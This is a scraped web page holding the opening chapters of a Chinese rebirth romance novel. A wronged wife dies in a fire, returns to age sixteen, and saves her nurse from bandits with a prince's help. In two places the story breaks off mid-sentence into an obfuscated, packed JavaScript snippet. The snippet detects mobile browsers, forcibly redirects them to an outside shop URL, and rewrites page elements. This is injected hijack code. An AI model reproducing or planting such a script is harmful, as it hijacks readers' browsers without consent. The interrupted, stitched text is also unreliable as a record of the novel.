《王妃如此多娇》 1. 001 魏窈从昏睡中醒来的时候，日影才过晌午。 槅扇长窗外的青石砖被曝晒得发烫，秋老虎的燥热随风钻入窗隙，卷动珠帘绣帐。她身上却仍觉凉沁沁的，即使盖着锦被也无甚暖意，不自觉掖了掖被角。 守在榻边的青穂瞧她醒了，忙小心搀扶起来，取旁边的药碗尝了尝道：“药放得有点凉了，奴婢这就去热热。” 说着话，取织金软枕给魏窈靠上，将她病中随意披着的青丝笼在肩侧。 魏窈却望向窗外，“父亲那边还没消息吗？” 青穂动作一顿，嘴唇翕动着说不出话，眼圈儿却悄悄红了。 “又推说公事繁忙是不是？”魏窈猜到答案，真个确信父亲的冷漠背弃时，心却还是沉到了谷底。 她产后身子亏损，一直没能调养过来，前阵子又遭人暗算病倒在榻上，不得不搬来京郊的别苑养病。原还指望娘家父亲能搭把手，助她脱出困境，如今看来这点指望也得落空。 “是为了……淑云吧？” 魏窈拿过药碗，将腥苦微凉的药汁灌进嘴里，却仍压不住心底的苦涩，“她就这么等不及？” “听说她借着陪伴外祖母的名头住进了府里，顺道帮忙照料咱们小郎君。”青穂想起魏淑云的无耻做派，都恨不得扇那女人两巴掌。 更可恨的是姑爷，当初贪图少夫人冠绝京城的样貌，费尽心思地登门求娶，连身家性命都豁得出去。谁知娶到手后没两年就变了，一面哄着少夫人，一面又收留了好几个莺莺燕燕，如今还跟…… 青穂心底不忿，低声嘟囔着骂道：“一对狗男女！” 魏窈听了，虚弱嗤笑。 也罢，当初若不是魏淑云一心要嫁状元郎，她那位继母贺氏定会将视若心肝的女儿嫁回娘家，给贺云章为妻的。如今魏淑云丧夫守寡，转头勾搭上了温柔多情的贺云章，一旦贼心得逞，还能平白捡个未满周岁的孩子。 这等美事，贺氏怎不会乐见其成？ 而至于父亲，他能有今日的官位荣华，全都仰仗深得皇帝宠信的岳父贺崇提携，又岂会为她这么个半路捡回来的前妻之女得罪岳家？ 哪怕手心手背都是肉，到了抉择的关头，魏淑云的分量必定也是重于她的。 艰难处境里，父亲既然指望不上，为今之计，也只能千里寄信，去寻靠得住的那个人。 魏窈挣扎着想起身，才刚披上外裳，外头忽然一阵骚动，继而响起仆妇惊慌的喊叫，“走水啦！快来人呐，走水啦！” 远远传来家丁们嚷嚷着救火的动静，魏窈强撑着被青穂搀扶下榻，还没颤巍巍地走到门边，便见浓烟从窗隙门缝里汹涌而入，呛人而滚烫。 隔着薄薄的窗纱，魏窈看到厢房里乱窜的火苗借风势席卷而来，在青穂拉开门的那一瞬，浓烈炙热的烟气扑面而来。只这么片刻之间，火势已然吞没穿廊和厢房，将她住的正屋裹在中间。 暴晒的秋日天干物燥，这场火顷刻间就烧成这样，显然是有人蓄意而为。 魏窈和青穂想从来势汹汹的火海冲出去，却早已无路可逃，眼睁睁看着火苗舔上长垂的锦帐，主仆俩迅速被浓烟淹没。 身体倒下去的时候，神魂像是从疲惫的身体抽离。 魏窈看到整个别苑连同里面尝试救火的家丁都被大火吞没，除了极少数侥幸逃脱外，最终都与她一道葬身火海。这座帝王御赐、修缮得精巧富丽的别苑随之化为焦土。 而后便是她的葬仪。 趴在她棺前不肯撒手的贺云章被婆母拖走，父亲魏芝翰破天荒地在灵堂外守了一夜，魏淑云则假惺惺地哭了一场，随后将未满周岁的孩子抱到了客居的院中照料。 半年后，魏淑云嫁入贺家，成了贺云章的继室，霸占了原本属于魏窈的一切，包括孩子。 此后夫妻甜蜜，翁婿和睦。 魏窈的坟前也渐渐冷清起来，仿佛她从未被寻回京城，也从未嫁进过贺家。 除了闻讯回京的挚友还记得为她祭扫外，往后岁月里，就只有一个人会不时到她坟前看望，时常在那里待上整夜，拿指尖无数次抚摸冰冷的墓碑。 ——是穆景初，皇帝的孙儿肃郡王。 魏窈与他不过数面之缘，且因她是有夫之妇，两人都没多说过几句话，除了偶尔察觉他暗中的注视外，再无旁的瓜葛。却未料曾许诺白首的贺云章移情别恋、贪欢享乐之时，却是他常来吊望。 坟前墨柏渐长，魏窈的神魂也如病后的身体般逐渐虚弱、疲惫，似要再次陷入沉睡。 可是，怎么甘心！怎么甘心呢！ 被黑暗淹没前，她怀着不甘，奋力挣扎。 …… “哐”的一声，摆在榻边高几上的细瓷花瓶跌在地上，发出碎裂的脆响。 原本靠在窗边打盹的嬷嬷听见动静，慌忙走过去，就见细脚高几像是被人踹了一脚，犹且轻轻晃动。而榻上睡着的人状若挣扎般手足乱动，额头不知何时渗出了细密的汗珠，只眼睛紧闭着，跌碎花瓶都没能吵醒她。 这是做噩梦还是在打架？ 果真是乡下养出的野丫头，睡觉也太不规矩了！ 嬷嬷皱眉将魏窈推了推，竭力拿出温和的语气，轻声道：“姑娘怎么了？可是魇着了？” 遥远得如在天边的声音，听得并不真切，倒是这一阵轻推将魏窈从噩梦里晃醒，睁开了沉重的眼皮。 脑海里有一瞬茫然。 旋即，头顶的绣花床帐在眼中逐渐变得清晰，屋里浓重的甜梦香窜进鼻端，在她茫然转头时，那位老嬷嬷的脸也不远不近地贴了过来—— “没事，奴婢在这儿呢，不用怕。姑娘赶路累了，接着睡会儿吧。” 说话间轻轻拍她后背，像要把魏窈哄睡。 魏窈看着那张已经许久没见过的脸，愣怔了片刻，灵台渐而清明时也意识到了不对劲。 继母贺氏身边的赵嬷嬷，自从那年接她回京后就到庄子上养老去了，再也不曾出现在魏家，如今怎会又在她跟前？ 这场景摆设，也似乎有点熟悉。 她抬手揉了揉眉心，许久没穿的粗绢衣袖落入眼中时，脑海里忽然轰的一声。 因着帝王宠信，非但身居高位、权势煊赫的贺家，就连魏家都攒了不菲的家资，这种质地的衣裳她回京后再也没碰过，那么此刻…… 魏窈直愣愣看着赵嬷嬷的脸，猛地想起来这是哪里——当初父亲派人接她回京的路上，一直是贺氏派人贴身照料，这地方她印象很深，是江陵府地界的福缘客栈。 之所以印象深刻，是因为顾妈妈的死。 魏窈自小与双亲失散，是母亲的陪嫁顾妈妈抱着她漂泊求生，在邵州的一个大户人家做工，含辛茹苦地将她养到了十六岁。 待父亲魏芝翰寻到她的下落派人来接，魏窈自然要带着相依为命的顾妈妈。 谁知走到这里，顾妈妈却在上街买东西时被歹人掳走，落在土匪窝里平白丢了性命，直至后来山寨被官兵踏平后才得以将她安葬。 彼时的魏窈虽然心里存有疑惑，却能有什么法子？ 只能擦干眼泪进京罢了。 就此落入在魏家孤身无援的境地。 而如今，她既回到了这座客栈，那么顾妈妈…… 魏窈看着赵嬷嬷那张脸，再想想后来继母的诸般心机，心绪渐而激荡，却最终转过身抱着枕头闭上眼，嘟囔道：“嬷嬷出去吧，吵着我了。” 赵嬷嬷被直勾勾地看了半天，原本还有些心里打鼓，瞧魏窈终于又睡过去，总算松了口气。 她也乐得清闲，看这丫头贪睡，加之屋里香熏得很重，又往香炉里添了点香料，果真到外面的躺椅上眯着去了。 …… 直等屋外安静下去，魏窈才悄悄起身。 随意挽起青丝，蹑手蹑脚地走到窗边看了一眼，赵嬷嬷在外面睡得呼噜正响，还抓了个同行的小丫鬟给她打扇。 屋门显然是不能走了，好在魏窈养在乡下，又有交好的沈家姐姐教她强身健体，虽说没能耐像沈家姐姐似的上阵杀敌，身手却也还算灵活。当即踮着脚尖走到后面的支摘窗，推开后攀住探近窗边的树干，无声无息地逃出了二楼的客房。 外面天色已昏，晚风吹得枝头飒飒，也驱散了被浓香熏出的困意。 叫住客栈的伙计一问，这时节正逢四月十八，恰是顾妈 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除了阁楼里洁净整齐的客房外，后面还有好几座清幽别致的小院，专供富商和不便入住官驿的官眷们下榻，其间花木扶疏，绿柳婆娑。 卫玄铮快步走过甬道，忽而察觉身后有些异样，不由驻足回首。 魏窈见他这么快就发现了，赶忙提裙快步赶到跟前，含笑施礼道：“民女有要事求见肃郡王殿下，事关重大，还望大人通禀一声。” 陌生的脸庞突兀的话语，让卫玄铮眉头微拧。 肃郡王这回是奉皇命微服办差，按说并无旁人知晓，这女子…… 他的视线将魏窈上下打量了两圈儿，既诧异于对方不施粉黛却让人过目不忘的姿容，更诧异于她那仿佛真有要事禀报的坚决神情。 他没说话，沉着脸转身就走。 魏窈赶紧跟在后面。 绕过两重回廊，便是肃郡王穆景初留宿的小院。 卫玄铮也不搭理魏窈，才刚跨过门槛就将院门重重阖上，从门缝里瞅见那姑娘还乖乖站在门外，这才快步走进去。 屋里刚掌了灯，穆景初独自站在案前，正在瞧一幅舆图，墨灰的衣裳绣以暗色银纹，腰间蹀躞有了点年头，却将身姿勾勒得劲拔挺直。 听罢卫玄铮的禀报，他颔首示意退下，见对方站在那里没动，抬眸道：“还有事？” “有位姑娘想求见殿下，说是有要事。”卫玄铮迟疑着，见穆景初微微拧眉，忙道：“属下怕她是诓人，没搭理。但她一路跟过来，关了门也不肯走，大约是确信殿下就在此处。殿下若不愿见，属下去把她轰走。” 这倒稀奇。 穆景初不怎么跟姑娘打交道，更懒得见陌生女子。但既然对方找上门……他的视线仍落在舆图，只抬抬手，“去问她什么事。” 卫玄铮依命而去。 少顷，隔窗便有交谈声传来，那女子声音不高，音调却挺好听。 依稀听得“山匪”二字，穆景初神色微动。抬步走向窗边，隔着洞开的支摘窗，越过檐下扶疏的翠竹，入夜渐暗的天光下，一道女子的身影落入眼中。 她生得很漂亮，身姿挺秀黛眉凤目，身上穿着半旧的淡色粗绢衣裙，浑身上下唯有挽发的珠钗算是装饰。 但即使不施粉黛不饰金翠，那眉眼亦如珠玉暗蕴光华，鸦色青丝如裹着珍珠的上等绸缎，衬以窈窕修长的身段，着实是寻遍京城都难得一见的美人。 晚风拂过廊下，森森凤尾之间似有股幽淡的香味传来，非花非露，闻在鼻端却极熨帖。 穆景初看惯宫廷内外风姿各异的美人，对女色不算热衷，至于种种名贵熏香更是司空见惯。然而此刻，在隔着庭院嗅到这缥缈香味时，心头却无端微微一跳。 那边魏窈察觉动静，也抬头朝他望了过来，两人视线隔空相触。 “让她进来。”片刻后，他如是吩咐。 卫玄铮诧然望了眼隐在竹丛后面的主子，未料他竟会允这陌生女子进屋回话，暗暗纳罕之余，请魏窈进了屋，独自守在门外。 2. 002 青青柳色掩映着客舍，屋中瓷缸里睡莲初绽。 穆景初自不会让魏窈瞧见舆图，进屋后折身进了东梢间，就势坐在临窗的圈椅里，抬目道：“你刚才提到了山匪？” “回殿下，是江陵城外啸风岭的山匪。” 魏窈迎上他墨玉般的深邃眼眸，觉出其中的审视，不闪不避，只徐徐道：“官兵几番剿匪不成，多是因对方占了地势之利，守着上山的咽喉要道，让官兵束手无策。但其实还有条小路能上啸风岭，十分隐蔽，知道的人并不多。” “你知道？” 魏窈轻轻颔首。 她是上京途中路过江陵，对这里其实人生地不熟。之所以知道那条密道，还是仰赖穆景初所赐—— 前世那匪窝被连锅端掉之后，因为顾妈妈的死，魏窈对关乎匪寨的消息格外留意。据说这回剿匪能成，是因有人找了山岭后面一条隐蔽于密林中的路，悄然从小道攻上去，打得山匪们措手不及，才给了官兵从前面冲破咽喉要道继而扫清余孽的机会。 因当时大道上血迹未清，魏窈遭不住那种血染山林的冲击，就近埋葬顾妈妈之后，便走了那条刚被众人知晓的小路下山。 谁知如今派上了用场！ 她将那条路详细说给穆景初，又道：“走这条路有两个必经的村子，里头有不少人是山匪们的眼线，据说会盘查过往的人。殿下只要能蒙混过他们，就能沿小路上去，攻其不备。” 天光微暗的房间里，她的声音柔和却暗藏急迫，穆景初也敏锐地再次捕捉到了那抹淡香。 奇怪了，皇家藏有四海各色名贵香料，他却怎会对这香味如此敏感，隔了那样远都能隐约闻到，甚至还挺想……再闻闻。 穆景初有点诧异于这隐晦的想法。 迅速摒弃杂念，他抬眸攫住魏窈的目光，道：“你怎知本王是来剿匪？” “个中缘由有些复杂，容民女日后日后再禀。”魏窈一时间想不到合理的解释，只能先打个马虎眼，见他仍坐着不动，又道：“殿下或许还想问，民女为何急着求见吧？” “是民女的至亲被山匪掳走，民女若不想法子，她定要沦为刀下亡魂。” 说到这里，她到底按捺不住心中焦急，跪地道：“还望殿下能仗义出手，早些除掉那帮祸患，能解了民女燃眉之急，也还百姓一方安稳！” 她俯身叩首，青丝自肩头滑落，秀致白腻的后颈连同衣领内的稍许雪色不期然落到穆景初眼底。 他昨日才带人暗中抵达江陵，情知官兵剿匪不力是因有人暗通款曲走漏风声才致屡屡败北，这回便打算暗中查访，先找当地人问个隐蔽的路子，带几名亲信直奔老巢打个出其不意。届时再喊官兵去收尾，小小匪窝不会费多少功夫。 谁知派出去的人手还没信儿，这就有现成的送过来了？ 信吗？也就两三分而已。 但区区女子，即使别有意图，他带着卫玄铮等人闯过沙场上十数万人的枪林箭雨，这点山匪又算哪碟子菜？ 若不是匪首不知死活地妄称武曲星下凡，蛊惑附近乡民，触怒了恭敬修道求长生的皇祖父，这等微末小事根本就无需他来动干戈。 而此刻，穆景初看着跪地的魏窈，稍作沉吟。 本该就寝安歇的时分，他实在无需连夜折腾——聚啸山林的一窝子匪徒罢了，没那分量。 但她若真急着救人…… 穆景初孑然一身地活到二十余岁，踩过沙场上的尸山血海，守着个过继来的儿子，既没打算另外娶妻，也从不格外怜悯女子。唯有眼前这人，穆景初说不清楚是什么缘故，自打方才在窗边第一眼见到，便有种莫名的情愫隐约掠过心头。 明明素未谋面，却无端有种熟悉之感，就连她身上淡淡的熏香，非但不会让他反感，反而还挺好闻。 事出反常，留心一点总归没错。 他的指腹摩挲着腕间两寸宽的锦带，片刻后站起了身，“带路。” …… 啸风岭既是个匪窝，离江陵城自然有点远，往返皆需借力于骏马。 穆景初的坐骑就在客栈里，利落地翻身上了马，打算赶在闭门前出城。 旁边的魏窈却犯了难—— 她不会骑马，且十分害怕骑马。 那已经是好些年前的事情了。她和顾妈妈寄住的沈家有位比她大四岁的姐姐，名叫沈歌，两人虽身份有别，情分却不浅，沈歌非但教她防身健体之术，还曾试着教她骑马。 谁知那马性子太烈，在性情顽劣的沈歌跟前还算听话，等缰绳交到魏窈手里跑了一小段，便撒野将魏窈摔下了马背，断腿昏睡得差点吓死顾妈妈。 打那以后顾妈妈就再不许她骑马，魏窈也对颠簸的马背有了阴影。 乃至前世回京那么久，都不曾再摸骏马。 如今要救顾妈妈，她固然能突破心中的畏惧，可真要追着肃郡王他们疾驰数十里…… 踌躇之间，卫玄铮很快反应过来。 “不会骑马？”他拿目光确信了魏窈的畏惧，不敢耽误主子的事，当即伸手给她，“上来，我带你。” 魏窈这会儿哪顾得上其他，答应着就要伸手过去。 旁边穆景初瞥见她抬袖伸手，细腻如葱白的指尖眼看着就要搭在卫玄铮掌心，不知为何就觉得有些碍眼，轻咳了声。 那边俩人齐齐瞧过来，穆景初便垂眸淡声，“过来，我带。” 魏窈不敢违命，赶紧往他那边走。 剩下卫玄铮的手僵在半空，古怪地看了自家主子一眼。 须知穆景初虽是个天潢贵胄，好似由成群的宫婢伺候着长大，有多少世家贵女肖想惦记着想嫁，实则跟女子接触得不多。这几年更是在男人堆里打滚，事涉女人时多半丢给他们这些侍从。 今日倒是怪了。 他摸摸鼻子，就听那边穆景初道：“你那马带了人跑不快。” 卫玄铮赶忙附和道：“是，是，殿下的踏云是千里良驹，再驮几个都不怕。”他没敢看穆景初眼里甩来的飞刀，只拨转马头道：“属下去喊老许他们，城门外汇合。”说罢，没听见反对，赶紧逃也似的走了。 留魏窈走向踏云旁边，小心翼翼地伸出手。 穆景初居高临下，手在袖中悄然握住。 方才一时冲动拦住了卫玄铮，此刻真将她唤到跟前，到底觉得生疏。他捻了捻手指，垂袖握住她递来的指尖，只觉那只手柔若无骨，是意料之外的绵软。 “踩住马镫，坐前面。”他无甚情绪的提醒。 魏窈忙依命踩稳马镫，在他手臂施力轻拽时硬着头皮借势而起，右腿迅速掠过马头，稳稳坐在马背。 踏云喷出鼻息，在原地轻挪了两步。 没有预想中那样可怕，这匹马着实乖顺得很。 魏窈偷偷舒了口气，心神稍松之际，这才察觉她的右手还死死抓着穆景初的手掌，也不知刚才紧张之下有没有掐疼他。 她赶紧告罪，感受到紧贴在背后的男人身躯时愈发不敢动了，只迅速将他的手松开，连呼吸都变得小心翼翼。 穆景初虚扶着她的腰，身体也稍有点僵硬。 鼻端似又嗅到淡淡馨香，他的视线扫过少女颈间白嫩的肌肤，抖动缰绳策马出了客栈。 …… 踏过长街赶在关门前出了城，卫玄铮果然带着几个侍从候在官道僻静处。 月尚未升，如墨夜色吞没大地，风里也终于添了点凉意。 一行人迅速驰过夜幕笼罩的官道。 直到渐近啸风岭，瞧见远处村口微弱的灯火时，穆景初才收缰勒马，随从亦纷纷停驻。 卫玄铮不自觉瞄了眼穆景初怀里圈着的人，“殿下，强冲过去，还是趁黑摸过去？” “别打草惊蛇。”穆景初摆手。 情形未明，贸然冲杀并非良策， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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果真是读书人，一套一套的。 他原也只是拿了山匪的银钱守夜盘查，碰见可疑的报个信儿罢了，倒没胆色自个儿做匪徒的勾当。这会儿拿着两锭银子心满意足，一面羡慕对方的艳福，一面让穆景初下马，将浑身略略搜检。 穆景初倒也配合，只在壮汉想搜魏窈时按住他胳膊。 也罢，娘们儿能干嘛？ 壮汉们夜夜替山匪放哨，实则也没见着可疑的人，便爽快地放了行，掂着银子去跟兄弟们分赃。 穆景初堂而皇之地过去，以同样的说辞混过第二个村子的路卡。 再往前，就是依山而上的密林了。 魏窈凭着记忆引他们七万八绕地走过崎岖小路，最终如愿摸到了匪寨的后门。 这地方没法蒙混，卫玄铮等人手起剑落，无声无息地结果了几个山匪的性命。 魏窈提心吊胆地熬到此刻，再也按捺不住，瞅准柴房的方向就悄悄摸了过去—— 这山寨坐落在山顶，匪徒们都住在前面，掳来的东西和人都胡乱堆放在库房和柴房里，常常是当晚庆功喝酒，次日才瓜分赃物和偶尔劫掠来的人。 此刻正值夜深，山匪们仗着前后都有人放哨值守，或是喝得正酣，或是睡得正熟，丝毫没察觉异样。她凭印刻在脑海里的路摸过去，很快就找到了那座柴房。 手在触到门板时微微发抖，她握紧从穆景初那里讨来的匕首，轻轻推门进去，借着渐而从云隙漏出的月光，果真看到了满地胡乱堆放的箱子。而在箱子的旁边，被绳索紧紧捆住的顾妈妈被软布塞住嘴巴，脸上一片青肿。 听到门扇轻响时，她睁开肿着的眼睛往这边瞧了过来。 她还活着！ 狂喜于瞬间涌上心头，魏窈的一颗心几乎跳出腔子，三两步上前将那绳索割开，既心疼于顾妈妈明显受了毒打的遭遇，又欣悦于此刻性命尚存的惊喜。 心绪激荡，眼泪混着笑意一起挂在脸上，她扯去软布，扑进顾妈妈怀里，将她牢牢抱住。 顾妈妈愕然看着扑进怀里的少女，还没将纷涌而来的记忆消化完，却也借着昏暗的天光认出这是原主顾顺娘十余年来视若亲生的小姑娘。 她的手臂僵了僵，几息后亦将魏窈搂住，轻声笑道：“阿槿，你来了。” 3. 003 阿槿是魏窈的小字，母亲给取的。 当初她才刚满月，还在襁褓里的时候，魏家就遭了变故。父亲魏芝翰险些丢官获罪，母亲因病丧命，顾妈妈抱着她逃出京城，靠着给人浆洗缝补将她养大，情分早已胜过母女。 此刻魏窈抱着失而复得的至亲，欢喜之下，前世的遭遇委屈终于化为眼泪汹涌而出，让她几乎想放声大哭一场。 可这是在匪寨里，不宜多留。 她抬袖用力擦干眼泪，身上没带治伤的膏药，只能扶起顾妈妈，低声道：“寨子里怕是会有动乱，咱们快走吧，回到城里赶紧上药，这些人下手也太狠了！” “不碍事。”顾顺娘打量着衣衫素净却貌美清丽的少女，觉出她浓烈的牵挂关怀，忍痛笑道：“好歹保住了性命。咱们该怎么逃出去？” 这事儿魏窈来的路上也想过。 那两个村子的哨卡，回程时显然不好蒙混过关。但若要在山里藏两天，且不说剿匪时的动荡可能藏有凶险，如今瞧顾妈妈脸上的伤痕，也是不能耽搁太久的。 最好的选择，便是村边的河道。 这地方峰峦连绵，有条颇深颇宽的河，顺流下去恰是江陵城的方向。她们来时不便逆流潜水而上，如今趁夜色借河水逃命却未尝不可。 她将主意说了，又心疼道：“只是您伤成这样，伤口碰着水难免麻烦。” “两害相权取其轻。”顾顺娘很快有了决断，“进了城有郎中，好好敷药就行。只是顺流而下时难免湿了衣裳，咱们翻翻这些箱子，备点外面能换的，到时候进城也不至于惹人注目。” 魏窈不敢多耽搁，忙与她轻手轻脚地掀开箱子翻看，果然从里面凑合着找了点衣裳，再找个油布包起来，便蹑手蹑脚地出了柴房。 皓月当空，寂静的山寨唯有风动旌旗。 想来穆景初他们还在探查情形，尚未跟匪徒们动手。 魏窈和顾顺娘逃也似的出了山寨后门，又沿着那条密林中的小路往回走，碰见陡峭处就相互搀扶，借着从树冠间洒下来的月光，倒也还算顺利。到得河边，顾顺娘便摊开油布包，褪下身上的外裳和中衣，将柴房里翻出来的宽大的男人衣裳套上。 一扭头，见魏窈还在磨蹭，便低笑道：“别扭扭捏捏的，大半夜没人看见，逃命要紧。” 魏窈低声应着，心里却暗暗纳罕。 须知顾妈妈性子温顺谦柔，虽带她流离沦落艰难求生，却常拿闺阁之秀的规矩来教导她。从前魏窈跟沈歌出去掏个鸟窝都能被她念叨好几天，如今竟会催她在这毫无遮蔽的地方换衣裳，实在迥异寻常。 不过性命当前，这些讲究确实尽可抛了。 魏窈便也换好衣裳，将原本的衣裙和几块干布好生包起来，跟顾妈妈手拉着手钻入河中。 两人都识水性，虽说难免磕磕碰碰，到底悄无声息地过了那两个村子。等离山寨远了，寻个合适的地方上岸，匆匆擦干头发换好衣裳，也才丑时未尽。 万籁俱寂，唯有流水滔滔而过。 腹中“咕噜噜”的响声便在此时不合时宜地响了起来。 直到这时候，魏窈才终于想起来，从昨日吃完午饭到这会儿，她可算是粒米未进，顾妈妈比她挨得更久。 饥饿疲惫之下，显然不可能走回江陵城。顾妈妈早年带着襁褓中的魏窈逃命时，时常遭遇这般困境，这会儿便带魏窈走到附近的村子，细心看了好几家，挑个收拾得齐整干净，明显有女儿家用物的院子，敲开了门。 主人家果真是个宽厚的妇人，找了些吃食和热汤给她，送了些消肿化瘀的膏药，又将女儿抱去自己屋里睡，将床铺让给魏窈她们。 有顾妈妈在身边，魏窈这一觉睡得是久违的香甜，醒来已是天明。 俩人用过饭，在主人家的万般推辞中留了些道谢的银钱，又雇了辆驴车，就近找郎中先给顾妈妈敷些膏药，才晃晃悠悠往江陵城走。 …… 福缘客栈里，赵嬷嬷正如热锅蚂蚁般团团乱转。 昨日她一觉睡醒，发现原本在屋中酣睡的魏窈不见踪影时，便知大事不妙。赶忙询问随行的丫鬟仆从，乃至客栈的伙计掌柜，都没人知道魏窈去了哪里。 原本她还以为是有歹人贪图姿色，撬窗入户将人给偷偷劫走了，差点就要去衙门报案。 还是掌柜的怕闹出麻烦，先去屋里详细查看了一番，确信屋后那扇仅有的窗户是从里头如常推开，而没半点撬过的痕迹后，赵嬷嬷才后知后觉地明白了什么。 整夜煎熬，她既担忧魏窈出事，回京后不好给主君交代，又怕魏窈偷偷溜出去是察觉了她暗里的小动作，坏了主母的安排。 心里头犹疑不定，嘴角便急出了成串的小火泡，她整夜都没敢阖眼，天还没亮就又催丫鬟们四处去找人。 而此刻，瞧见魏窈挽着顾顺娘亲热地走回来时，赵嬷嬷悬着的那颗心终于还是死了。 事已至此，她只能硬着头皮，佯装无事地上前道：“姑娘这是去哪了？出门也不说一声，奴婢还以为是遇到贼人了呢，慌得让人四处去打听，就差去报官了！” 说着，递个眼色让小丫鬟斟茶，枉顾顾妈妈脸上的青肿，只笑道：“别是你贪图城里的热闹，哄姑娘去玩了吧？” 她自诩是高门贵仆，捏准了这俩乡下人是没根底的软性儿，便先敲打道：“奴婢伺候了夫人大半辈子，算来也是个老人儿了。咱们主君事忙，里外的事都是夫人操持，就连接姑娘回京的事都是夫人做主安排的。这会子若姑娘出了差池，奴婢回去后免不了要受责备。” “还好虚惊一场，你们俩都没事。” 说着，虚掸了掸袖子，心里渐渐安稳下来。 ——是啊，两人都安然无恙，即便魏窈知道又怎样呢？回京后空口无凭，她一个失散多年流落乡下的前妻之女，难道还敢在夫人跟前放肆？ 赵嬷嬷笑吟吟觑向魏窈，自管啜了口茶。 魏窈也抬目看着她，“嬷嬷是老眼昏花，看不到顾妈妈受的伤吗？还是嬷嬷觉得，有夫人和贺家撑腰，这事儿能瞒得天衣无缝？” 赵嬷嬷笑意微僵，“夫人说过，此间的事全凭奴婢安排。京城且远着呢，这一路山高水险的，姑娘起居都得奴婢们侍奉，还是安心赶路得好。” “京城虽远，江陵府的衙门却近在眼前。还是说——” 魏窈抬步逼近，不无讽笑地道：“嬷嬷想故技重施，把我也卖给人贩子。等回了京城，就说是路上碰见山匪被害了性命。总归附近正闹山匪，就算父亲想查也未必能拿到证据，何况嬷嬷还是夫人从贺家带来的亲信。” 这话一说，赵嬷嬷不由面色微变。 昨夜辗转反侧琢磨对策时，她确实有过这样的念头，想着万一魏窈察觉后不依不饶，便一不做二不休，还能让夫人跟前清净些。 “可惜啊赵嬷嬷，晚了。” 魏窈觑着对方神色，便知自己没猜错。 哂笑着靠在临墙的长案上里，她捏着茶杯把玩，眼角微挑，“回客栈之前我修了两封书信，细说了这两日的事。一封给父亲，还有一封给了我的挚友。” “嬷嬷恐怕不知道，我有位自幼一道长大的好友在京城做武官，凭着累累战功，深得靖国公的器重。得知我要进京，她正盼着见面呢。” “有这封书信在前，若我途中再出岔子，你猜他们会怎么做？” 笑意敛尽，她的眼底锋芒暗露。 赵嬷嬷听在耳中，只觉背后冷汗涔涔。 靖国公的威势她当然清楚，他器重的人，又是靠杀人积累战功的武将，能是什么善茬？原以为魏窈只是养在乡下的野丫头，哪知道还有这么一层关系？武将心肠狠辣，若真结了仇，那是真会提剑杀人的。 何况，若主君不知此事，她咬咬牙下狠手除掉魏窈也就罢了。即便因办事不力而受主君重责，夫人好歹能保住她性命，甚至因着除了眼中钉， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125391|196044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等事情风头过后还能给个好的出路。 可有了这告状的书信，事情就完全不一样了。 冷汗打湿后背，赵嬷嬷对上魏窈的视线，先前的轻视与不屑早已消失殆尽。 “是奴婢有眼无珠，冒犯了姑娘。”半晌后，她终于认命地垂下了头，就连脊背都显出佝偻之态，“请姑娘处置。” 魏窈瞧见她那斗败公鸡般的颓丧样，哂笑着挪开视线。 “去衙门自首，或许还能从轻发落。” …… 赵嬷嬷是被人抬回来的。 饶是从轻发落，那几十重杖打下去也差点要了她的性命。 魏窈却没给她休养伤病的机会，只让人多雇了辆马车把她塞进去，让她自管去熬伤处和颠簸的双重痛楚。剩下几个丫鬟仆从见状，哪还敢忤逆魏窈，都小心恭敬地伺候着，再不敢如从前般轻视懈怠。 马车辘辘出了江陵城，借着官道边绿柳投下的荫凉，路过错落棋布的农田村舍，也路过远处藏于群峰间的啸风岭。 魏窈远远望了眼，收回视线后靠在顾妈妈身上，仍觉得庆幸。 跨越生死再次与最爱的亲人相逢，曾在魏家孤身而行的前尘旧事亦如浮影掠过心间。魏窈庆幸于这场劫后余生时，也想起了件要紧的事情。 “对了，您之前说，有件事要等回京后告诉我？”魏窈将下巴搁在顾妈妈的肩上，“要不这会儿就说了吧？何必拖那么久呢，害得我心里痒痒。” 她清晰记得顾妈妈说这话时郑重的神情，还曾暗自猜测过会是什么。只可惜前世两人阴阳相隔，那之后魏窈虽无数次在夜里回想旧时点滴，却再也没法听顾妈妈跟她说哪怕一句话。 此刻既是闲着，难免想刨问一番。 顾顺娘却笑着点了点她脑袋，“说好了回京再告诉你，安心等着吧。” “透露一点给我嘛。” “好啦阿槿，别闹。等时机合适的时候自然会告诉你。”顾顺娘往她嘴里塞了块糕点，又摸摸她脑袋。 俩人有一搭没一搭地说着话，顺道瞧瞧车帘外的风景，直待魏窈被晃得涌起困意睡过去，顾顺娘才微不可察的叹了口气。 她当然知道魏窈好奇，可那件事…… 顾顺娘搂着怀里温软的少女，心绪复杂。 真正的顾顺娘熬不住匪徒们的拳脚，其实已经不在了。她接了这身体时承继了原主的记忆，也知道顾顺娘原本想说的是什么—— 魏窈的亲生母亲其实未必真的死了，或许尚在人世。 只不过当初遭遇丈夫背弃，主仆失散，顾顺娘能替主母养活魏窈已经不易，怕小姑娘心里藏事情，就一直说她母亲早已病故，才让魏窈少了些心事安然长大。 如今魏窈回京，难免要面对魏芝翰，还得仰仗生父才能生活。若贸然挑明旧事，一旦魏窈对魏芝翰心生怨怼，往后的路就更难走了。倒不如先瞒着，等情形明朗些、她的性子更坚毅些再说，免得父女俩闹僵，于魏窈的前程不利。 谁知还没来得及说，原主就丧命在匪徒手中。 顾顺娘吁了口气，手掌轻轻抚着魏窈的头发，眼底浮起爱怜时，心里也掠过稍许疑惑。 记忆里的魏窈固然偶尔淘气，却仍未脱十六岁少女的心性，行事难免单纯些。但看她这回对赵嬷嬷的行事，对丫鬟仆从的态度，倒像是一夜之间长大了似的，跟从前很不一样。 但不论如何，终究还个闺中待嫁的少女。 